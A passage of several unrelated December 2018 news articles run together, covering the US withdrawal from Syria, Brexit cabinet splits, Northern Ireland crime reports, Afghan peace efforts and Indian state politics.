recent weeks that pockets of IS militants remain and US policy has been to keep troops in place until the extremists are eradicated. Israeli Prime Minister Benjamin Netanyahu, who remains concerned about Iranian efforts in the area, reacted in non-committal fashion after talking with Mr Trump by telephone. This is, of course, an American decision, he said. Israel will learn of the timetable and manner of withdrawal, he said, and no matter what we will safeguard the security of Israel and protect ourselves from this arena. Leading Republican senators reacted with displeasure to the news. Senator Lindsey Graham, typically a Trump backer, said he was blindsided by the report and called the decision a disaster in the making. He said: The biggest winners in this are ISIS and Iran. There will be much resentment and feeling of abandonment that will be directed toward American personnel. The confusion surrounding our Syria policy is making life much more difficult and dangerous for Americans in the region. Lindsey Graham (@LindseyGrahamSC) December 19, 2018 Marco Rubio of Florida said the withdrawal would be a grave error with broader implications beyond the fight against IS. Just last week, the US special envoy to the anti-Isis coalition, Brett McGurk, said US troops would remain in Syria even after Islamic State was driven from its strongholds. I think its fair to say Americans will remain on the ground after the physical defeat of the caliphate, until we have the pieces in place to ensure that that defeat is enduring, Mr McGurk told reporters on December 11. Nobody is declaring a mission accomplished. Defeating a physical caliphate is one phase of a much longer-term campaign. And two weeks ago General Joseph Dunford, chairman of the Joint Chiefs of Staff, said the US still has a long way to go in training local Syrian forces to prevent a resurgence of IS and stabilise the country. He said it will take 35,000 to 40,000 local troops in north-eastern Syria to maintain security over the long term, but only about 20% of them have been trained. Mr Trumps national security adviser, John Bolton, said in September that the US would keep a military presence in Syria as long as Iran is active there. Were not going to leave as long as Iranian troops are outside Iranian borders and that includes Iranian proxies and militias, he said. James Stavridis, a former Navy admiral who served as top Nato commander, tweeted Wednesday that Pulling troops out of Syria in an ongoing fight is a big mistake. Like walking away from a forest fire that is still smoldering underfoot. Big winner is Iran, then Russia, than Assad. Wrong move. The withdrawal decision, however, is likely to be viewed positively by US ally Turkey, and comes following several conversations between Mr Trump and Turkish President Recep Tayyip Erdogan over the past weeks. The Turks have targeted US-backed Kurdish troops along the Syria-Turkey border, which Turkey considers an insurgent threat. A US withdrawal including the end of joint US and Turkish patrols along the border could open the door for more Turkish operations against the Syrian rebels. Just hours before the withdrawal decision became public, the State Department announced late Tuesday that it had approved the sale of a 3.5 billion dollar (2.7 billion) Patriot missile defence system to Turkey. The US first launched airstrikes against IS fighters in Syria in 2014. In the years that followed, the US began partnering with Syrian ground forces to fight the extremists. The Pentagon recently said that IS now controls just 1% of the territory it originally held. Theresa May warned her warring ministers that her deal was the only Brexit plan available today. Downing Street intervened after Work and Pensions Secretary Amber Rudd said she could 'see the argument' for a new referendum if Parliament votes down the deal. Commons Leader Andrea Leadsom hit back to say a new vote was 'unacceptable' - but then backed another alternative to the PM's deal, a so-called 'managed no deal'. Mrs May's official spokesman said both ministers had backed the deal - but insisted alternatives are not available. The PM has repeatedly ruled out a second referendum while senior ministers have rubbished the idea of a 'managed no deal', which would see no full divorce deal but a series of side agreements to mitigate the impact of crashing out, as a 'unicorn'. Theresa May (pictured in Downing Street today) warned her warring ministers that her deal was the only Brexit plan available today. She was flanked by her Cabinet at the UK-Poland summit in Lancaster House today (pictured) Amber Rudd (pictured left last night on Peston) has triggered a new split in the Cabinet by hinting at support for a second referendum on Brexit - while Andrea Leadsom (right today in Westminster) said that would be 'unacceptable' and endorsed a 'managed no deal' Asked if a second referendum was plausible if Parliament remains gridlocked, the spokesman said: 'No. 'The Work and Pensions Secretary has been clear on three things: the priority is to get the vote through Parliament, she does not want a people's vote or a referendum, and she has asked all colleagues to support the Government's deal. 'As you know the Prime Minister has been very clear on the dangers of calling a second referendum. She is focused on winning the vote on the deal that has been agreed.' Asked about Mrs Leadsom's comments on a managed no-deal Brexit, he added: 'The Leader of the House was clear this is not Government policy. 'This is not something that is available. The EU has been very clear that there is no withdrawal agreement available that does not include a backstop.' Justice Secretary David Gauke reportedly told Cabinet a 'managed no deal' was a 'unicorn'. While the discussion was confidential Mr Gauke tweeted a picture of himself with a plastic unicorn today with the hash tag #SecretSanta Ms Rudd also backed the idea of an indicative vote to find which Brexit options MPs would be prepared to support if the Prime Minister's deal is rejected. The Work and Pensions Secretary told ITV's Peston: 'I don't want a people's vote, or a referendum in general, but if Parliament absolutely failed to reach a consensus I could see there would be a plausible argument for it.' She added: 'Parliament has to reach a majority on how it's going to leave the European Union. No deal notices re-written to remove claim it is 'unlikely' Britain will crash out The Government has re-written more than 100 no deal notices to remove claims it is 'unlikely' there will be not be a divorce agreement in place. The move has been rolled out since the Cabinet decided to activate more than 300 no deal plans on Tuesday. Some 3,500 troops have been put on standby while businesses and families have been warned to prepare themselves for no deal. Notices published in the summer insisted no deal was an 'unlikely scenario'. Now they say: 'This technical notice offers guidance for continued planning in the event of no deal offers guidance for continued planning in the event of no deal.' Advertisement 'If it fails to do so, then I can see the argument for taking it back to the people again, much as it would distress many of my colleagues.' Ms Rudd said an indicative vote would 'flush out' MPs by forcing them to show their support for one option or another, and encourage those whose favoured ideas are rejected to reach a compromise. 'We are going to have to find a way, as MPs, of working together to find a consensus, of agreeing on how to stop no-deal taking place,' she said. Mrs Leadsom hit back at Ms Rudd, saying a second referendum would be 'unacceptable'. She told the Today programme: 'It's not Government policy. I myself think it would undermine the biggest democratic exercise ever, where we had a clear majority to leave the European Union. 'To have a second referendum would unfortunately be going back to people and telling them they have got it wrong and they needed to try again. 'I think it would be unacceptable.' Senior ministers turned out alongside the PM (pictured) for bilateral talks on Brexit, defence and security issues Mrs Leadsom confirmed she had been looking at a 'managed no-deal' Brexit as an 'alternative solution' to the Prime Minister's deal if that cannot get through Parliament. She said: ''No-deal' implies that we leave in March and there are absolutely no agreements whatsoever. 'But what we already saw yesterday, in the EU's preparations which they have very belatedly started to make for no deal, is that there are going to be agreements on things like aviation, on things like haulage, on things like tourist travellers and so on.' She added: 'A managed no-deal does not necessarily mean there is no Withdrawal Agreement at all. 'This is all speculation, but what I am looking at is trying to find an alternative that, in the event we cannot agree to this deal, that there could be a further deal that looks at a more minimalist approach that allows us to leave with some kind of deal and some kind of implementation period that avoids a cliff edge, that avoids uncertainty for businesses and travellers and so on.' Ms Rudd said she still supported Mrs May's Brexit deal but accepted it might have difficulty passing through the House of Commons due to the opposition of MPs Miss Rudd has already indicated she would rather quit than oversee a no-deal Brexit and yesterday it emerged that such an outcome could leave Mrs May to face a Cabinet walkout. Justice Secretary David Gauke suggested 'many' senior ministers could resign. Sources say Chancellor Philip Hammond, Cabinet Office Minister David Lidington and Business Secretary Greg Clark are also 'deeply opposed' to any switch to a no-deal strategy. Climate change minister Claire Perry suggested she would rather delay Britain's exit from the EU than leave without a deal. Miss Rudd's comments were seized on by pro-EU campaigners. Labour's Owen Smith, a backer of anti-Brexit group Best for Britain, said: 'Amber Rudd may be the first Tory Cabinet member to say she'd rather have a people's vote than allow a catastrophic no-deal to unfold, but she won't be the last. 'This is a massive moment for our campaign.' Meanwhile Ireland followed the UK and the European Union in setting out the latest stages of its no-deal Brexit planning. 'In many significant ways, a no-deal Brexit would pose unique, unprecedented and extremely difficult challenges for the EU, including Ireland, and especially the UK,' the Irish Government document said. As part of the plan, Dublin Port is creating extra parking for hundreds of trucks from the UK awaiting inspection after Brexit. In London, Mrs May will meet her Polish counterpart Mateusz Morawiecki for talks. The discussions are expected to focus on defence and security co-operation, but come as the Prime Minister is desperately trying to secure further reassurances from EU leaders about the Northern Ireland backstop measures in the Brexit deal before the crunch Commons vote in the week commencing January 14. Scotland's First Minister Nicola Sturgeon, who met the Prime Minister on Wednesday, said Mrs May's goals were 'a wee bit nebulous'. 'There's not a lot of detail there,' Ms Sturgeon said. 'She says she's working with the EU, trying to find assurances. I pressed her to give a bit more detail on that. I have to say it wasn't forthcoming.' However, the European Union has produced warnings about the possible impact of a no-deal Brexit. EU Commission president Jean-Claude Junker described Britain crashing out of Europe as a 'disaster' creating the worst border disruption 'since wartime'. He warned British tourists face flight disruption and tailbacks at ports if there is no deal agreed by the end of March. The warnings came as the EU ramped up its no-deal advice to member states by approving 14 fresh contingency measures. A man has been charged with a number of terror offences linked to dissident republican weapons dumps stocked by a rogue Royal Marine. The 29-year-old man, who was arrested in the north west of Northern Ireland on Tuesday, is due to appear before a district judge in Ballymena, Co Antrim, on Thursday. The charges are connected to an investigation into the discovery of weapons in two forest parks and a number of other sites near Larne, Co Antrim. A dissident republican who infiltrated the British military was last year sentenced to 18 years in prison for supplying and building bombs found at the sites. Ciaran Maxwell (Metropolitan Police/PA) Former Royal Marine Ciaran Maxwell stashed anti-personnel mines, mortars, ammunition and 14 pipe bombs four of which were later used in 43 purpose-built hides at eight locations in Northern Ireland and England, including hauls buried in barrels at Carnfunnock and Capanagh forest parks near Larne. Maxwell, originally from Larne, was a serving member 40 Commando based at Norton Manor Camp in Taunton, Somerset, at the time of the offences. He was sentenced at the Old Bailey after pleading guilty to preparation of terrorist acts between January 2011 and August 2016, possessing images of bank cards for fraud and possessing cannabis with intent to supply. Andrea Leadsom has insisted a managed no-deal Brexit is possible, as Cabinet divisions were laid bare over a second referendum. The Commons leader suggested she had been looking at the option as an alternative solution to the Prime Ministers deal, if that cannot get through Parliament. No-deal implies that we leave in March and there are absolutely no agreements whatsoever, Mrs Leadsom told BBC Radio 4s Today programme. But what we already saw yesterday, in the EUs preparations which they have very belatedly started to make for no deal, is that there are going to be agreements on things like aviation, on things like haulage, on things like tourist travellers and so on. She added: A managed no-deal does not necessarily mean there is no Withdrawal Agreement at all. This is all speculation, but what I am looking at is trying to find an alternative that, in the event we cannot agree to this deal, that there could be a further deal that looks at a more minimalist approach that allows us to leave with some kind of deal and some kind of implementation period that avoids a cliff edge, that avoids uncertainty for businesses and travellers and so on. But her comments are at odds with those of some of her Cabinet colleagues, including Justice Secretary David Gauke who is understood to have told ministers it was not a viable option. He reportedly said on Tuesday: The responsibility of Cabinet ministers is not to propagate unicorns but to slay them. And in signs of further division, Mrs Leadsom said a second referendum would be unacceptable hours after Amber Rudd suggested there was a plausible argument for the public to be asked to vote again on Brexit if MPs remain deadlocked. (PA Graphics) Mrs Leadsom told Today: Its not Government policy. I myself think it would undermine the biggest democratic exercise ever, where we had a clear majority to leave the European Union. To have a second referendum would unfortunately be going back to people and telling them they have got it wrong and they needed to try again. The Work and Pensions Secretary insisted she did not want a referendum, and called for MPs across the Commons to reach a consensus as a way of preventing a no-deal Brexit if Mrs Mays Withdrawal Agreement is thrown out in Januarys parliamentary showdown. But her intervention was welcomed as a massive moment by campaigners calling for a so-called Peoples Vote, with Tory former minister Anna Soubry praising Ms Rudd as brave and principled. Ms Rudd backed the idea of an indicative vote to find which Brexit options MPs would be prepared to support if the Prime Ministers deal is rejected. The Work and Pensions Secretary told ITVs Peston: I dont want a peoples vote, or a referendum in general, but if Parliament absolutely failed to reach a consensus I could see there would be a plausible argument for it. A turning point for Brexit? @AmberRuddHR becomes the first Cabinet Minister to suggest there is a route to a second referendum. Watch the full interview tonight at 10.45pm @ITV #Peston pic.twitter.com/oCJ1AhYyCV Peston (@itvpeston) December 19, 2018 She added: Parliament has to reach a majority on how its going to leave the European Union. If it fails to do so, then I can see the argument for taking it back to the people again, much as it would distress many of my colleagues. Ms Rudd said an indicative vote would flush out MPs by forcing them to show their support for one option or another, and encourage those whose favoured ideas are rejected to reach a compromise. We are going to have to find a way, as MPs, of working together to find a consensus, of agreeing on how to stop no-deal taking place, she said. Downing Street dismissed the suggestions by both politicians, with the Prime Ministers official spokesman saying a second referendum was not plausible. Asked about Mrs Leadsoms comments on a managed no-deal Brexit, he added: The Leader of the House was clear this is not Government policy. This is not something that is available. The EU has been very clear that there is no withdrawal agreement available that does not include a backstop. Mrs Leadsom later confirmed the Government wants the Brexit deal debate to return to the Commons on Wednesday January 9. Meanwhile, Ireland followed the UK and the European Union in setting out the latest stages of its no-deal Brexit planning. In many significant ways, a no-deal Brexit would pose unique, unprecedented and extremely difficult challenges for the EU, including Ireland, and especially the UK, the Irish Government document said. (PA Graphics) As part of the plan, Dublin Port is creating extra parking for hundreds of trucks from the UK awaiting inspection after Brexit. In London, Mrs May will meet her Polish counterpart Mateusz Morawiecki for talks. The discussions are expected to focus on defence and security co-operation, but come as the Prime Minister is desperately trying to secure further reassurances from EU leaders about the Northern Ireland backstop measures in the Brexit deal before the crunch Commons vote in the week commencing January 14. Two men have been arrested following reports of a glass being thrown during the performance of a pantomime at a theatre in Belfast. It is understood the incident took place during a performance of Jack And The Beanstalk, starring John Linehan as May McFettridge, at the Grand Opera House on Saturday evening. Running until 13 January: Jack and the Beanstalk. The panto you've BEAN waiting for! Running time: 2 hours. Best availability: January performances. Check out https://t.co/QQyXRLC6wt. pic.twitter.com/AxI4ljTyYX Grand Opera House, Belfast (@gohbelfast) December 5, 2018 No injuries have been reported. The Police Service of Northern Ireland said a 32-year-old man and a 35-year-old man were arrested on suspicion of a number of offences including criminal damage and disorderly behaviour. The pair have since been released on bail pending further enquiries. Constable Jonathan Thompson has urged anyone who was at the 7pm performance on December 15, and witnessed the incident to speak to police. (PA) I would appeal to anyone who was at the 7.00 pm performance on Saturday evening and witnessed this incident to contact police in Belfast on 101 quoting reference number 1282 of 15/12/18, he said. Thankfully, there were no injuries reported as a result of this incident. It calls for some detailed research as to how our vocabulary invented a psychological caste system and words like 'gadha', 'anday', 'murga' adopted a funny (in a derogatory way) connotation. They can never mean something serious. Not in the sub-continent. Now, Pakistan, which aims at improving its cash-strapped situation by banking hugely on poultry farming, has become proud possessor of the worlds third largest donkey population (China comes first, of course). There are more than five million donkeys in Pakistan. If words like 'donkey', 'chicken' and 'Pakistan' uttered in the same breath are not funny enough, there is something more here. Geo TVs Amin Hafiz live reporting the following. Donkey business flourishing in Lahore and look at the way my old Freind Amin Hafeez reporting donkey business by risking his life pic.twitter.com/FHYuQrYOqP Hamid Mir (@HamidMirPAK) December 19, 2018 Now, Pakistan is a land of legendary reporters. There is Chand Nawab, immortalised by Nawazuddin Siddiqui in Bajrangi Bhaijan, Hanan Bhukari, a reporter who live-reported his own wedding, and then, there is Amin Hafiz. While Chand Nawab has got his due share of recognition, Amin Hafiz is on his way to gaining such eminence. For the uninitiated, he takes live reporting to a different level. He does live actions cheers with boys getting drenched in the first spell of rain in Lahore, does jumping jacks in a park with other joggers, interviews cows, and then, for this donkey-business, he rode on a capricious donkey, which, it seemed, didnt like to be bothered on the auspicious occasion for its tribe. While it was on the verge of overthrowing Hafiz, either he got down or the video ended. Much credit to the editors and producers as well, who have finally found a way to spread good news about Pakistan on social media. So much so that according to reports, the PML-N has praised the PTI government for this achievement. Praying, oops, braying for economic development in Pakistan! (Photo: Twitter) Its quite surprising how the new government could bring about such a change in the donkey population in just four months. But as it has been reported, much of the credit goes to the Punjab governments Donkey Hospital which offers free treatment to ailing donkeys. So, here's the fool-proof plan for Pakistan's economic development strengthening poultry farming and donkey trading, and getting reporters like Chand Nawab and Amin Hafiz reporting on this. True that their art of reporting will never be taught in any journalism school but if it can offer social media something to have a hearty laugh about Pakistan, why not celebrate this new model? Also Read: Why we can't but love Chand Nawab Multiple stakeholders have attempted to bring peace in Afghanistan but self-interest fails them. Unless they work cohesively, they cannot tame the Taliban which has been flexible in its demands This year saw all major stakeholders in Afghanistan making tremendous efforts to bring peace to the war-ravaged country, albeit for diverse reasons. The next presidential election is scheduled for April 2019 and President Ashraf Ghani has already announced that he will seek re-election. While he may have taken some tough decisions that may have earned him respect among the political circles, there have been letdowns, too, both on political and security fronts. This is the reason why he has been more determined to bring peace to Afghanistan. And if he succeeds, it will be a major achievement for him and his country as well. In February, Ghani offered the Taliban unconditional peace talks. The Taliban, too, honoured the same and for three days, there was peace during Eid, after 17 years of incessant fighting. The US, which is fighting its longest war in Afghanistan, appointed Zalmay Mamozy Khalilzad as the Special Representative for Afghanistan Reconciliation in the US Department of State, to broker peace between the Government and the Taliban. In November, a two-day conference was held in Geneva to discuss developments in Afghanistan. Russia, which was forcibly evicted from Afghanistan about 30 years ago and wanted to show its influence in the region, organised a meeting in Moscow on November 9, in which representatives from 12 countries discussed the Afghan peace process. Although no tangible decision was taken, the participation by the Taliban, representatives of the Afghan Government, China, Iran, Pakistan and India was a great achievement. Iran, China and Russia, too, want peace in Afghanistan as the Islamic States (IS) influence is on the rise. Iran is worried because the IS is a Sunni Salafi terrorist organisation that does not consider Shia Muslims as true believers. It believes the terror organisation will make all efforts to trouble the Shia regime over there. China, on the other hand, is already facing an uprising by Uyghur Muslims in the Xinjiang Uyghur Autonomous Region and does not want IS control in Afghanistan as it will render wholehearted assistance to Uyghur terrorist outfits. The IS is becoming strong in northern Afghanistan, which is near to Uzbekistan, Tajikistan and Turkmenistan. These countries share a close relationship with Russia. Second, Russia also has a sizeable Muslim population and, hence, escalating IS influence in Afghanistan would be detrimental for Russia. As regards Pakistan, which always claims that India has no role to play in Afghanistan, and has also alleged that we have been using Afghanistan as a base to instigate terrorist activities in the restive province of Balochistan, it has already acknowledged that India has stakes in Afghanistan and its cooperation is necessary for the peace process in the war-torn country. Shah Mehmood Qureshi, the Foreign Minister of Pakistan, speaking in the National Assembly on December 10, said, India also has stakes in Afghanistan and its cooperation will be needed. He also accepted the fact that Pakistan alone cannot bring peace in Afghanistan. It is a well-known fact that Pakistan has been facing isolation, globally and is also passing through an economic crisis. Its all-weather friend China has refused to extend financial assistance and the International Monetary Fund has put stringent conditions to bail out Islamabad from the economic catastrophe. The US, which has in the past bailed out Pakistan from economic calamity, has also suspended all financial assistance to Islamabad. The above mentioned factors are a proof why Pakistan wants to show to the world that it wants peace with India and, therefore, it has offered India to start peaceful negotiations and has also accepted our role in Afghanistan. Islamabad is also happy to receive a letter from US President Donald Trump to assist the peace process in Afghanistan. Pakistan Prime Minister Imran Khan also met Khalilzad on December 5 in Islamabad. In the meeting, Khalilzad requested Khan to make good use of his office so that the Taliban can constructively participate in the peace negotiations. Khan promised to help and accepted that reconciliation is the only way out. Pakistan Army chief General Qamar Javed Bajwa, too, wants to have cordial relations with the US. There are also reports that a four-member Taliban delegation from its political office in Qatar also met Khalilzad and several Pakistani officials in Islamabad. The military-controlled Inter Services Intelligence (ISI), which has a close relationship with the top Taliban leadership, is also using its influence over them to win confidence of the US officials. Pakistan released Abdul Ghani Baradar, a senior Taliban leader, from the prison in order to support peace talks and bring an end to years of fighting. Khalilzad will visit eight countries, which includes Afghanistan, Russia and the United Arab Emirates, to restore peace in the country. Representatives of the Taliban reiterated their past stand that they do not consider the present Afghan Government as a legitimate one and, hence, they want to negotiate with the US. The Taliban, too, maintained that their fight will continue until all foreign troops and bases are removed from Afghanistan. Taliban representatives accepted that their participation in the conference helped reinforce their international position. India, which follows the policy that peace talks must be led by the Afghan Government, also amended its strategy in view of the changes in regional and international arena. Two non-official Indian representatives attended the multi-national conference in Moscow where they sat with representatives from the Taliban. It is by now clear that all key players claim that they want to restore peace in Afghanistan but chances of peace are remote as interested parties are not working cohesively. Their interests are poles apart and clash with each other on several occasions. Khalilzad met Taliban representatives in Qatar and discussed several important issues, including withdrawal of US troops without representatives from the Afghan Government. The US wants peace in Afghanistan but does not want to withdraw completely as in that case, Russia, China and Iran will enhance their domination in the country. On similar lines, Russia wants to increase its influence in Afghanistan after 30 years of its unceremonious eviction. Moscow wants to contain the IS and also hurt Washington as the latter did 30 years ago. Saudi Arabia has been pumping money to needle Iran, while the latter is busy strengthening Shia outfits. Besides, external forces, like the drug-mafia, also want insurgency to continue as security forces are more involved in fighting the Taliban and the IS. By sidelining the Afghan Government, the US and Russia have highlighted the incapability and weakness of Kabul. This has been damaging the peace process in Afghanistan. Not only does this marginalise a lawfully-elected Government but gives more legitimacy to the Taliban. In fact, Afghanistan needs a strong Government that has the support of all external powers. Only then can it counter the Taliban and peace can be restored in the country. On the other hand, the Taliban is not in a hurry to participate in the peace process. US airstrikes are proving counter-productive and the Taliban is getting sympathy of the general public. Some, including Khalilzad, have suggested that the presidential elections be postponed. But this is no solution to peace. Elections must be held and whosoever assumes power must lead the negotiations and peace should be restored under his command. On the one hand, the Taliban remains highly trained, armed and sheltered by Pakistan and sometimes even by Russia. It can attack several locations simultaneously. On the other, the Afghan Government is quite slow-moving in responding to the attacks by the Taliban. This mitigates the credibility of the Government. Friendly countries must help strengthen the Afghan National Defence and Security Forces (ANDSF) as the force remains ill-trained, ill-equipped, less motivated and is also poorly-paid. High desertion rate in the ANDSF speaks volumes about the weaknesses of the force. (The writer is member of the United Services Institute of India and the Institute for Defence Studies and Analyses) The BJP on Thursday claimed moral victory after the Calcutta High Court lifted Bengal Governments ban on its rath yatras. The yatras will now take place in three legs on December 22, 24 and 26 with BJP president Amit Shah inaugurating each of the three yatras from Coochbehar, Kakdwip and Birbhum. Prime Minister Narendra Modi is scheduled to address rallies in the midst of the yatras that would converge and culminate at Brigade Parade Ground in Kolkata. Though the court order tended to come as a shot in the arm of the saffron outfit, experts wonder why the State administration, regardless of its apprehensions of communal tension in the yatra trails, did not even make an endeavour that the rally can be allowed by imposing reasonable restrictions. The court said, When the yatras are not for any unlawful purpose, it cannot be completely stopped unless there is any breach of law. The restrictions should be just and reasonable. When the State cited intelligence reports apprehending communal tension, the court said, The threat to public peace and tranquility should be real instead of imaginary. The judge also wondered as to why it took the Government two months to prepare intelligence reports preferring all this while to look right through the letters being sent to it by the outfit seeking permission for the yatras when the BJP had sent its first letter on October 6. The initial celebrations in the saffron quarters apart, the BJP leadership also had to come out vouching for a peaceful yatra as the court made it liable alongside the Government for any material loss. We give a public undertaking that the yatras will be peaceful and there will be no disturbance and communal tension that the Government has repeatedly tried to impress upon the judiciary, said Jayprakash Majumdar, a leader of the Bengal unit of the BJP. Earlier the State Government had, following a court ordered meeting with the BJP leaders on December 16, denied permission to the BJP rath yatras. However, the Mamata Banerjee Government had no objection to rallies by Shah and Modi. Apart from apprehending communal tension the Government had also submitted before the Court that the scale of the Yatra was so huge that it would be impossible for it to make adequate security bandobast. Senior counsel SK Kapoor representing the BJP however countered saying even the in the worst days of the British Raj when Mahatma Gandhi took out Dandi March none stopped him. Even as the BJP leaders rejoiced its moral victory saying the very court order was an example showing how the Government was throttling democracy in Bengal which is why we were forced to take out this Save Democracy Yatra. Congratulating the Bengal BJP post Court verdict Union Minister Arun Jaitley tweeted, Had the NDA Government stopped any Opposition pogramme it would have been called an undeclared emergency, wondering why human rights activists were silent on denial of a right to a political party to organise its programme. BJP leader Kailash Vijaybargiya welcomed the verdict saying this decision is a slap on the face of tyranny. We havent decided anything but I can assure that PM (Narendra Modi) and the party chief (Amit Shah) will join the yatra. Union Minister Babul Supryio said, This verdict is a victory against Mamatas dirty politics. Bengal Minister and senior TMC leader Partho Chatterjee however said the Government would go through the order before considering any further action. Bihar politics on Thursday heated up as former Union Minister Upendra Kushwaha joined the State mahagathbhandhan and BJP chief Amit Shah and Finance Minister Arun Jaitley called on NDA partner and Cabinet Minister Ram Vilas Paswan after his son Chirag made threatening noises leading to speculation that Paswan may be planning to dump the NDA. After the Congress won the three Hindi heartland States of Madhya Pradesh, Rajasthan and Chhattisgarh, Congress president Rahul Gandhi has focused his attention on strengthening the Bihar mahagatbandhan. Rahul was personally involved in persuading Kuswaha to walk out of the NDA. On Thursday, Rahul met with RJD leader Tejashvi Yadav, Kuswaha and former Bihar Chief Minister Jitan Ram Manjhi. The announcement of Kushwaha joining the mahagathbandhan of Opposition parties in Bihar came at a press conference at the party headquarters here in the presence of senior Congress leader Ahmed Patel, AICC Bihar incharge Shaktisinh Gohil, Tejashwi Yadav, Sharad Yadav, and Jitan Ram Manjhi, who heads the Hindustani Awam Morcha (Secular). Welcoming Kushwaha into the grand alliance, the leaders said they will together throw the BJP out of power and will work towards mitigating the plight of the people of Bihar and the country. Kushwaha said the main reason behind his quitting the NDA was the failure of the Modi Government to fulfil the promises made to the people of Bihar, besides the insult he suffered within the NDA. He said an aakrosh march will be taken out in Patna on February 2 in which various like-minded parties would participate. Kushwaha lauded Rahul for coming to the aid of farmers and youths and said the Congress president does what he says. RJD leader Tejashwi said this is a union of hearts and not of parties and asserted that the weather in the country is changing. Even before the NDA could recover from the setback of losing Kuswaha, Paswan has added to its worry. His son has made a series of tweets cautioning the BJP of consequences if the issues with allies were not resolved soon. Chirag has also raised a question mark over the plight of farmers and issue of unemployment and also criticised the raking up of Ram temple issue. Incidentally, during the last 24 hours every time he was asked if the LJP can walk out of the NDA, Chirag didnt dismiss the possibility and merely said, Its too early to reach any conclusion. Against this backdrop, the BJP leadership reached out to the sulking ally with Amit Shah and Jaitley holding talks with Paswan and Chirag in the presence of Bihar Congress incharge Bhupendra Yadav. Sources said that BJP has offered six seats to Paswan, one less than the LJP contested in the 2014 Lok Sabha polls. Its obvious that with such an offer, Paswan could have been expected to dispel any doubt about his differences with the NDA. His silence after meeting Shah and Jaitley shows that he is keeping his options open. In an interview, Chirag indicated his complete discomfort with the BJP by stating that seat sharing is not the issue but he is unhappy over factors like plight of farmers, unemployment, and price hike. Earlier, Chirag had written a letter to the Prime Minister and Jaitley, asking about the benefits of demonetisation. Recently, Ram Vilas Paswan said while the Congress raised issues of farmers and unemployment, we (NDA) stayed tangled in religion and temples. Sources said Nitish Kumar has backed Paswan and will be in Delhi to convey the BJP leadership to honour the commitment to Ram Vilas Paswan as losing him would effectively mean conceding Bihar to the Opposition coalition. Joint efforts and collective strength of existing and potential NDA allies is key to the success in upcoming 2019 elections. All key constituents of the coalition must work towards this, tweeted Prashant Kishor, the Bihar CMs close aide and strategist about the Nitish Kumar Delhi mission. More than the number of seats, it is the question of winnability with the NDA that may be haunting Paswan. The upper castes are reportedly unhappy with the Dalit leader for taking strident stand against diluting the SC/ST Prevention of Atrocities Act. In this scenario, Paswan will be more comfortable with the RJD if he wants to retain his strengthen of six MPs in the Lok Sabha. Uttar Pradesh Chief Minister Yogi Adityanath said that the efficient implementation of the Central government-sponsored schemes like Swachh Bharat, Prime Ministers Housing Scheme and Saubhagya Scheme for providing free electricity connection to the poor and Ayushman Bharat health scheme had given a clear image makeover to the once laggard state which has emerged as favoured destination for the investors. The CM said the government was looking forward to present the next budget of 2019-10 in February next year so that UP could take yet another leap on the path of development. Ensuring that the benefits of welfare scheme reach the beneficiaries without any discrimination is the prerequisite for changing the perception about Uttar Pradesh and making it the preferred destination for investors, Yogi said in the UP Assembly on Thursday in his address ahead of the passage of the second supplementary grants amounting to Rs 8,054 crore. Yogi reiterated his resolve that his government has ensured that the benefit of all the government schemes reach all sections of society without discrimination on the basis of caste and religion as was the practice during the previous Samajwadi Party regime. The Chief Minister said with the passage of the second supplementary grants, UP had become the number one state of India in terms of the size of the budget, which is now Rs 4.70 lakh crore. It was often said in national seminar circuit and among the experts of development that India will surge ahead if the centrally-sponsored schemes for the poor are successfully implemented across the states. I can say with pride that with the support of all stakeholders, UP has performed well and achieved the targets, which has brought positive change in the lives of the teeming millions of poor people of the state, Yogi said. UP has made a big leap in the implementation of the sanitation programme. Against the earlier 44 per cent coverage in the state and national average of 96 per cent, Uttar Pradesh has achieved 100 per cent sanitation coverage where as many as 2.49 crore families have been provided toilets as per the baseline survey. Around 44 lakh families not covered in the baseline survey will also be covered by the sanitation programme, the CM said. Excellent team work has ensured the success of the Prime Ministers Housing Scheme both in rural and urban areas. The deserving poor families from the Dalit and deprived sections of society have so far been provided 8.81 lakh housing units and one lakh more will be provided houses by the end of the current 2018-19 fiscal. For the urban areas, 7.25 lakh housing units have been sanctioned and one lakh families have been provided the houses, the Chief Minister said. On the availability of power and investment friendly atmosphere, the CM said, We have ensured power supply to all parts of the state without discrimination. Be it Etawah or Lucknow, all are getting round-the-clock power supply and the availability of power has also added to the agriculture productivity as farmers are using cheap power for agricultural operations. Security, peace, stable policy regime and freedom from the web of bureaucratic red tape are the prerequisite for investor-friendly environment and we have ensured this and also implemented ease of doing business (EODB), the CM said, and added, The budget size has now equaled the total investment proposals signed during the UP Investors Summit and it is a good sign that UP is changing. The Delhi Commission for Women claimed to have successfully counseled women selling illegal liquor at JJ Colony in Bakkarwalof Outer Delhi to close their illicit business. The DCW acted after it received a complaint about illegal liquor business running in the area and making it unsafe for women and children in the area. Its a fact that Delhi has become a hub of sale of illegal liquor and drugs. Police refuses to act in the matter and the culprits are able to hood wink the system and act with impunity. The Commission has tried a new strategy for fighting the problem. We will continue to leave no stone unturned to ensure that Delhi becomes free of illegal liquor and drugs, said DCW Chairperson Swati Maliwal. According to DCW spokesperson, A complaint was received on August 2018 from a woman in JJ Colony Bakkarwal, wherein, the complainant informed the Commission that an illegal liquor shop is operating near her residence. The complainant informed the Commission that sexual harassment is increasing near her residence due to men drinking in open. However, since the Commission felt that registering an FIR and police action on these illegal liquor sellers had little impact, DCW member Firdaus Khan allegedly resorted to a new strategy of counseling the sellers. The illegal liqour sellers understood the sensitivity of the situation and agreed to shut down their business. As a follow up, the DCW Mahila Panchayat has regularly crossed-checked on the ground and the accused have stopped selling illegal liqour for the past 4 months, DCW spokesperson stated. State Congress president Ajoy Kumar on Thursday said that decision on seat sharing of the mahagathbandhan (alliance of opposition parties in Jharkhand) for the forthcoming Lok Sabha polls would be decided at a meeting in Delhi in January. When questioned over JMM executive president, Hemant Sorens statement yesterday at Giridih on JMM leader heading the mahagathbandhan in the state, Kumar, who is also national Congress spokesperson, said, Let me clear that Congress believes in consensus. We have proved that during election of chief minister in the state of Chattisgarh, Madhya Pradesh and Rajasthan and the decision on seat sharing would be decided at a meeting of all mahagathbandhan in Delhi sometime in January. Ajoy Kumar who was addressing media at the partys East Singhbhum district office in Bistupur today evening, further said, As per the plans the meeting in Delhi would have leaders of all opposition parties including those from JMM, JVM, RJD and even Left parties and decision on seat sharing for Lok Sabha polls in Jharkhand would be taken taking into confidence all parties. Soren replying to media at Circuit House in Bengabandh in Giridih district yesterday had said that JMM is the biggest party after the ruling BJP in the state and should have lion share of seat in the mahagathbandhan. Congress state president, Ajoy Kumar also said that they would announce leader of 